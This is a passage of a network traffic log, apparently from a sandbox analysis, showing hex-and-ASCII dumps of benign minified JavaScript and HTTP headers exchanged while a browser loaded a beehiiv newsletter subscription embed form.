2c 59 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 22 3b 66 6f 72 28 76 61 72 20 6e 20 Data Ascii: ),M(n\|\|!t?"":t,i)}var V=function(){return n.nc},q=function(e,t,n){n&&((e[t]\|\|(e[t]=Object.create(null)))[n]=!0)},Q=function(e,t){e[t]=Object.create(null)},K=function(e){return function(t,n){return void 0!==e[t]&&e[t][n]}},Y=function(e){var t="";for(var n
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 72 20 65 3d 22 22 3b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 6f 29 7b 76 61 72 20 6e 3d 6f 5b 74 5d 5b 30 5d 3b 6e 26 26 28 65 2b 3d 5a 28 74 29 2b 6e 29 7d 72 65 74 75 72 6e 20 65 7d 3b 72 65 74 75 72 6e 7b 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 65 29 74 5b 6e 5d 3d 67 28 7b 7d 2c 65 5b 6e 5d 29 3b 72 65 74 75 72 6e 20 74 7d 28 72 29 2c 6e 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6f 29 6e 5b 69 5d 3d 5b 6f 5b 69 5d 5b 30 5d 5d 3b 72 65 74 75 72 6e 20 65 28 74 2c 6e 29 7d 2c 63 73 73 3a 61 2c 67 65 74 49 64 73 3a 6e Data Ascii: r e="";for(var t in o){var n=o[t][0];n&&(e+=Z(t)+n)}return e};return{clone:function(){var t=function(e){var t=Object.create(null);for(var n in e)t[n]=g({},e[n]);return t}(r),n=Object.create(null);for(var i in o)n[i]=[o[i][0]];return e(t,n)},css:a,getIds:n
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 4f 66 28 22 40 69 6d 70 6f 72 74 22 29 29 63 2e 70 75 73 68 28 70 29 3b 65 6c 73 65 7b 64 3d 21 31 3b 76 61 72 20 68 3d 66 3d 3d 3d 73 2d 31 3f 22 22 3a 22 20 22 3b 75 2e 61 70 70 65 6e 64 44 61 74 61 28 22 22 2b 70 2b 68 29 7d 7d 71 28 6e 2c 65 2c 6c 29 2c 6f 26 26 63 2e 6c 65 6e 67 74 68 3e 30 26 26 28 69 3d 21 30 2c 74 28 29 2e 69 6e 73 65 72 74 52 75 6c 65 73 28 65 2b 22 2d 69 6d 70 6f 72 74 22 2c 63 29 29 7d 2c 72 65 6d 6f 76 65 52 75 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 6c 3d 72 5b 61 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6c 29 7b 76 61 72 20 75 3d 72 65 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 61 29 3b 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 75 2c 6c 29 2c 72 5b 61 5d 3d 75 2c 51 28 6e 2c 61 29 2c 6f 26 26 Data Ascii: Of("@import"))c.push(p);else{d=!1;var h=f===s-1?"":" ";u.appendData(""+p+h)}}q(n,e,l),o&&c.length>0&&(i=!0,t().insertRules(e+"-import",c))},removeRules:function(a){var l=r[a];if(void 0!==l){var u=re(e.ownerDocument,a);e.replaceChild(u,l),r[a]=u,Q(n,a),o&&
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 5f 3f 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 3a 6e 75 6c 6c 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3b 79 28 74 68 69 73 2c 65 29 2c 74 68 69 73 2e 67 65 74 49 6d 70 6f 72 74 52 75 6c 65 54 61 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 2e 69 6d 70 6f 72 74 52 75 6c 65 54 61 67 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 6e 3d 74 2e 74 61 67 73 5b 30 5d 3b Data Ascii: e(){var t=this,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:_?document.head:null,r=arguments.length>1&&void 0!==arguments[1]&&arguments[1];y(this,e),this.getImportRuleTag=function(){var e=t.importRuleTag;if(void 0!==e)return e;var n=t.tags[0];
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3b 63 65 3d 6e 65 77 20 65 28 76 6f 69 64 20 30 2c 74 29 2e 72 65 68 79 64 72 61 74 65 28 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 6e 65 77 20 65 28 74 68 69 73 2e 74 61 72 67 65 74 2c 74 68 69 73 2e 66 6f 72 63 65 53 65 72 76 65 72 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6c 6f 6e 65 73 2e 70 75 73 68 28 74 29 2c 74 2e 74 61 67 73 3d 74 68 69 73 2e 74 61 67 73 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 65 2e 67 65 74 49 64 73 28 29 2c 72 3d 65 2e 63 6c 6f 6e 65 28 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 Data Ascii: ngth>0&&void 0!==arguments[0]&&arguments[0];ce=new e(void 0,t).rehydrate()},e.prototype.clone=function(){var t=new e(this.target,this.forceServer);return this.clones.push(t),t.tags=this.tags.map((function(e){for(var n=e.getIds(),r=e.clone(),o=0;o<n.length

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:46 UTC	756	OUT	GET /static/js/main.72acac30.chunk.js HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
2025-02-06 21:52:46 UTC	820	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:46 GMT Content-Type: application/javascript Content-Length: 19640 Connection: close Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1737564067&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=%2FR7CAlCKoFPwl6dfwdHL34up7uDFDAWnwVTQmzxzMRg%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1737564067&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=%2FR7CAlCKoFPwl6dfwdHL34up7uDFDAWnwVTQmzxzMRg%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Last-Modified: Wed, 22 Jan 2025 16:38:42 GMT Vary: Origin Via: 1.1 vegur CF-Cache-Status: HIT Age: 67 Accept-Ranges: bytes Server: cloudflare CF-RAY: 90de5e83aeb542a5-EWR
2025-02-06 21:52:46 UTC	549	IN	Data Raw: 28 74 68 69 73 5b 22 77 65 62 70 61 63 6b 4a 73 6f 6e 70 65 78 74 65 72 6e 61 6c 2d 65 6d 62 65 64 22 5d 3d 74 68 69 73 5b 22 77 65 62 70 61 63 6b 4a 73 6f 6e 70 65 78 74 65 72 6e 61 6c 2d 65 6d 62 65 64 22 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 30 5d 2c 7b 31 30 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 61 2c 6f 2c 72 2c 69 2c 63 2c 6c 2c 75 2c 73 3d 6e 28 30 29 2c 64 3d 6e 2e 6e 28 73 29 2c 70 3d 6e 28 33 39 29 2c 6d 3d 6e 2e 6e 28 70 29 2c 68 3d 6e 28 36 29 2c 62 3d 6e 28 37 29 2c 66 3d 6e 28 39 29 2c 67 3d 6e 28 38 29 2c 76 3d 6e 28 31 31 30 29 2c 53 3d 6e 28 31 30 37 29 2c 79 3d 6e 28 31 31 31 29 2c 78 3d 6e 28 31 36 29 2c 45 3d 6e 28 34 29 2c 77 3d 6e 28 35 29 2c Data Ascii: (this["webpackJsonpexternal-embed"]=this["webpackJsonpexternal-embed"]\|\|[]).push([[0],{105:function(e,t,n){"use strict";n.r(t);var a,o,r,i,c,l,u,s=n(0),d=n.n(s),p=n(39),m=n.n(p),h=n(6),b=n(7),f=n(9),g=n(8),v=n(110),S=n(107),y=n(111),x=n(16),E=n(4),w=n(5),
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 6f 72 3f 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 22 23 66 33 66 34 66 36 22 7d 29 29 2c 4f 3d 77 2e 61 2e 64 69 76 28 6f 7c 7c 28 6f 3d 4f 62 6a 65 63 74 28 45 2e 61 29 28 5b 22 5c 6e 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 32 38 72 65 6d 3b 5c 6e 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 5c 6e 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 5c 6e 22 5d 29 29 29 2c 43 3d 77 2e 61 2e 64 69 76 28 72 7c 7c 28 72 3d 4f 62 6a 65 63 74 28 45 2e 61 29 28 5b 22 5c 6e 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 2e 35 72 65 6d 3b 5c 6e 22 5d 29 29 29 2c 6b 3d 77 2e 61 2e 68 32 28 69 7c 7c 28 69 3d 4f 62 6a 65 63 74 28 45 2e 61 29 28 5b 22 5c 6e 20 20 63 6f 6c 6f 72 3a 20 22 2c 22 3b 5c 6e 20 20 66 6f 6e 74 2d Data Ascii: or?e.backgroundColor:"#f3f4f6"})),O=w.a.div(o\|\|(o=Object(E.a)(["\n max-width: 28rem;\n margin-left: auto;\n margin-right: auto;\n"]))),C=w.a.div(r\|\|(r=Object(E.a)(["\n margin-bottom: 1.5rem;\n"]))),k=w.a.h2(i\|\|(i=Object(E.a)(["\n color: ",";\n font-
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 74 28 67 2e 61 29 28 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 68 2e 61 29 28 74 68 69 73 2c 6e 29 2c 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 62 2e 61 29 28 6e 2c 5b 7b 6b 65 79 3a 22 72 65 6e 64 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 2e 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 5f 2c 6e 75 6c 6c 2c 64 2e 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 4f 2c 6e 75 6c 6c 2c 64 2e 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 43 2c 6e 75 6c 6c 2c 64 2e 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 6b 2c 6e 75 6c 6c 2c 22 4e 6f 74 20 66 6f 75 6e 64 22 29 2c 64 2e 61 2e 63 72 65 61 Data Ascii: t(g.a)(n);function n(){return Object(h.a)(this,n),t.apply(this,arguments)}return Object(b.a)(n,[{key:"render",value:function(){return d.a.createElement(_,null,d.a.createElement(O,null,d.a.createElement(C,null,d.a.createElement(k,null,"Not found"),d.a.crea
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 62 6a 65 63 74 28 67 2e 61 29 28 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 68 2e 61 29 28 74 68 69 73 2c 6e 29 2c 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 62 2e 61 29 28 6e 2c 5b 7b 6b 65 79 3a 22 72 65 6e 64 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 2e 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 74 68 69 73 2e 70 72 6f 70 73 2e 63 6c 61 73 73 4e 61 6d 65 7d 2c 69 65 29 7d 7d 5d 29 2c 6e 7d 28 73 2e 43 6f 6d 70 6f 6e 65 6e 74 29 2c 6c 65 3d 6e 28 31 38 29 2c 75 65 3d 7b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 22 61 70 70 6c 69 63 61 Data Ascii: bject(g.a)(n);function n(){return Object(h.a)(this,n),t.apply(this,arguments)}return Object(b.a)(n,[{key:"render",value:function(){return d.a.createElement("div",{className:this.props.className},ie)}}]),n}(s.Component),le=n(18),ue={"Content-Type":"applica
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 74 3a 20 31 2e 35 72 65 6d 3b 5c 6e 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 2e 37 35 72 65 6d 3b 5c 6e 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 30 2e 37 35 72 65 6d 3b 5c 6e 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 2e 32 35 72 65 6d 3b 5c 6e 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 2e 32 35 72 65 6d 3b 5c 6e 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 5c 6e 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 5c 6e 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 30 3b 5c 6e 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 30 3b 5c 6e 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 5c 6e 20 20 62 6f 72 64 65 72 Data Ascii: t: 1.5rem;\n padding-top: 0.75rem;\n padding-bottom: 0.75rem;\n padding-left: 1.25rem;\n padding-right: 1.25rem;\n color: #000;\n width: 100%;\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n border-top-left-radius: 6px;\n border
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 64 69 75 73 3a 20 30 3b 5c 6e 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 5c 6e 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 5c 6e 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 72 65 6d 3b 5c 6e 5c 6e 20 20 3a 64 69 73 61 62 6c 65 64 20 7b 5c 6e 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 37 3b 5c 6e 20 20 20 20 63 75 72 73 6f 72 3a 20 64 65 66 61 75 6c 74 3b 5c 6e 20 20 7d 5c 6e 22 5d 29 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 66 6f 6e 74 46 61 6d 69 6c 79 3f 65 2e 66 6f 6e 74 46 61 6d 69 6c 79 3a 22 4f 70 65 6e 2d 53 61 6e 73 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 62 61 63 6b 67 72 Data Ascii: dius: 0;\n border-top-right-radius: 6px;\n border-bottom-right-radius: 6px;\n padding: 0 1rem;\n\n :disabled {\n opacity: 0.7;\n cursor: default;\n }\n"])),(function(e){return e.fontFamily?e.fontFamily:"Open-Sans"}),(function(e){return e.backgr
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 65 6d 61 74 75 72 65 6c 79 53 75 62 6d 69 74 74 65 64 3a 21 30 7d 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 61 2e 70 72 6f 70 73 2e 73 75 63 63 65 73 73 52 65 64 69 72 65 63 74 55 72 6c 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 61 2e 70 72 6f 70 73 5b 74 5d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 74 7d 7d 3b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 6f 28 6e 5b 30 5d 29 3a 6f 28 6e 29 7d 2c 75 3d 7b 65 78 74 65 72 6e 61 6c 5f 65 6d 62 65 64 5f 69 64 3a 61 2e 70 72 6f 70 73 2e 65 6d 62 65 64 Data Ascii: ematurelySubmitted:!0});else{var c=a.props.successRedirectUrl,l=function(t){var n=a.props[t],o=function(t){if(null==t)return null;try{return decodeURIComponent(t)}catch(e){return t}};return Array.isArray(n)?o(n[0]):o(n)},u={external_embed_id:a.props.embed
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 74 6f 70 7c 7c 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 7c 7c 77 69 6e 64 6f 77 29 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 74 79 70 65 3a 22 42 45 45 48 49 49 56 5f 53 55 42 53 43 52 49 42 45 52 5f 46 4f 52 4d 5f 53 55 42 4d 49 54 54 45 44 22 2c 65 6d 61 69 6c 3a 61 2e 73 74 61 74 65 2e 65 6d 61 69 6c 2c 65 78 74 65 72 6e 61 6c 45 6d 62 65 64 49 64 3a 61 2e 70 72 6f 70 73 2e 65 6d 62 65 64 49 64 7d 2c 22 2a 22 29 7d 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 34 30 33 21 3d 3d 55 28 29 28 65 2c 22 72 65 73 70 6f 6e 73 65 22 2c 22 73 74 61 74 75 73 22 29 29 7b 76 61 72 20 74 3d 55 28 29 28 65 2c 22 72 65 73 70 6f 6e 73 65 22 2c 22 64 61 74 61 22 2c 22 6d 65 73 73 61 67 65 22 29 7c 7c 22 53 6f 6d 65 Data Ascii: (window.top\|\|window.parent\|\|window).postMessage({type:"BEEHIIV_SUBSCRIBER_FORM_SUBMITTED",email:a.state.email,externalEmbedId:a.props.embedId},"*")}})).catch((function(e){if(403!==U()(e,"response","status")){var t=U()(e,"response","data","message")\|\|"Some
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 63 6f 6e 66 69 67 2c 69 3d 65 2e 63 61 70 74 63 68 61 45 6e 61 62 6c 65 64 2c 63 3d 65 2e 65 6d 62 65 64 49 64 2c 6c 3d 65 2e 69 73 53 6c 69 6d 2c 75 3d 61 2e 73 74 61 74 65 2c 73 3d 75 2e 69 73 53 75 62 6d 69 74 74 69 6e 67 2c 70 3d 75 2e 69 73 53 75 62 6d 69 74 74 65 64 2c 6d 3d 75 2e 65 72 72 6f 72 2c 68 3d 75 2e 63 61 70 74 63 68 61 49 6e 74 65 72 61 63 74 69 6f 6e 43 68 61 6c 6c 65 6e 67 65 53 68 6f 77 69 6e 67 2c 62 3d 75 2e 63 61 70 74 63 68 61 54 6f 6b 65 6e 2c 66 3d 75 2e 63 61 70 74 63 68 61 49 6e 74 65 72 61 63 74 69 6f 6e 4e 65 65 64 65 64 2c 67 3d 55 28 29 28 72 2c 22 62 75 74 74 6f 6e 5f 63 6f 6c 6f 72 22 29 2c 76 3d 55 28 29 28 72 2c 22 62 75 74 74 6f 6e 5f 74 65 78 74 5f 63 6f 6c 6f 72 22 29 2c 53 3d 55 28 29 28 72 2c 22 62 6f 64 79 5f 66 Data Ascii: config,i=e.captchaEnabled,c=e.embedId,l=e.isSlim,u=a.state,s=u.isSubmitting,p=u.isSubmitted,m=u.error,h=u.captchaInteractionChallengeShowing,b=u.captchaToken,f=u.captchaInteractionNeeded,g=U()(r,"button_color"),v=U()(r,"button_text_color"),S=U()(r,"body_f
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 61 2e 68 61 6e 64 6c 65 52 65 73 65 74 43 61 70 74 63 68 61 28 29 7d 2c 74 68 65 6d 65 3a 22 61 75 74 6f 22 2c 73 69 7a 65 3a 22 6e 6f 72 6d 61 6c 22 2c 6f 6e 42 65 66 6f 72 65 49 6e 74 65 72 61 63 74 69 76 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 75 70 64 61 74 65 53 74 61 74 65 28 7b 63 61 70 74 63 68 61 49 6e 74 65 72 61 63 74 69 6f 6e 4e 65 65 64 65 64 3a 21 30 7d 29 7d 2c 6f 6e 56 65 72 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 61 2e 73 74 61 74 65 2c 6e 3d 74 2e 63 61 70 74 63 68 61 50 72 65 6d 61 74 75 72 65 6c 79 53 75 62 6d 69 74 74 65 64 3b 74 2e 63 61 70 74 63 68 61 49 6e 74 65 72 61 63 74 69 6f 6e 4e 65 65 64 65 64 26 26 65 3f 61 2e 68 61 6e 64 6c 65 53 75 62 6d 69 74 4f 6e 53 75 63 63 65 73 73 66 Data Ascii: eturn a.handleResetCaptcha()},theme:"auto",size:"normal",onBeforeInteractive:function(){a.updateState({captchaInteractionNeeded:!0})},onVerify:function(e){var t=a.state,n=t.captchaPrematurelySubmitted;t.captchaInteractionNeeded&&e?a.handleSubmitOnSuccessf

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:47 UTC	521	OUT	GET /variables.js HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
2025-02-06 21:52:47 UTC	858	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:47 GMT Content-Type: application/javascript Content-Length: 479 Connection: close Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1738878767&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=oZcEqHCVZPKa4wvA7i9xS75iRwiXLIxLBAdNFCUXuHI%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1738878767&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=oZcEqHCVZPKa4wvA7i9xS75iRwiXLIxLBAdNFCUXuHI%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Cache-Control: no-cache, no-store, must-revalidate Vary: Origin Via: 1.1 vegur Last-Modified: Thu, 06 Feb 2025 21:52:47 GMT CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 90de5e878b8b43c7-EWR
2025-02-06 21:52:47 UTC	479	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 63 6f 6e 73 74 20 76 61 72 69 61 62 6c 65 73 20 3d 20 7b 22 52 45 41 43 54 5f 41 50 50 5f 48 55 4d 41 4e 5f 41 50 50 5f 49 44 22 3a 22 50 58 65 42 75 6d 44 4c 77 65 22 2c 22 52 45 41 43 54 5f 41 50 50 5f 48 55 4d 41 4e 5f 52 45 53 50 4f 4e 53 45 5f 44 4f 4d 41 49 4e 22 3a 22 62 65 65 68 69 69 76 2e 63 6f 6d 22 2c 22 52 45 41 43 54 5f 41 50 50 5f 41 50 49 5f 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 6d 62 65 64 73 2e 62 65 65 68 69 69 76 2e 63 6f 6d 22 2c 22 52 45 41 43 54 5f 41 50 50 5f 47 54 4d 5f 45 4e 41 42 4c 45 44 22 3a 22 74 72 75 65 22 2c 22 52 45 41 43 54 5f 41 50 50 5f 54 55 52 4e 53 54 49 4c 45 5f 53 49 54 45 4b 45 59 22 3a 22 30 78 34 41 41 41 41 41 41 41 45 64 39 59 35 6d 32 74 69 36 78 5f 41 38 Data Ascii: (function(){ const variables = {"REACT_APP_HUMAN_APP_ID":"PXeBumDLwe","REACT_APP_HUMAN_RESPONSE_DOMAIN":"beehiiv.com","REACT_APP_API_URL":"https://embeds.beehiiv.com","REACT_APP_GTM_ENABLED":"true","REACT_APP_TURNSTILE_SITEKEY":"0x4AAAAAAAEd9Y5m2ti6x_A8

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:47 UTC	780	OUT	GET /api/embeds/bee58212-55f9-4f7c-994e-380751e3d646 HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
2025-02-06 21:52:48 UTC	768	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:47 GMT Content-Type: application/json Content-Length: 885 Connection: close Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1738878767&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=oZcEqHCVZPKa4wvA7i9xS75iRwiXLIxLBAdNFCUXuHI%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1738878767&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=oZcEqHCVZPKa4wvA7i9xS75iRwiXLIxLBAdNFCUXuHI%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} X-Content-Type-Options: nosniff Vary: Origin Via: 1.1 vegur cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 90de5e8afaf28c90-EWR
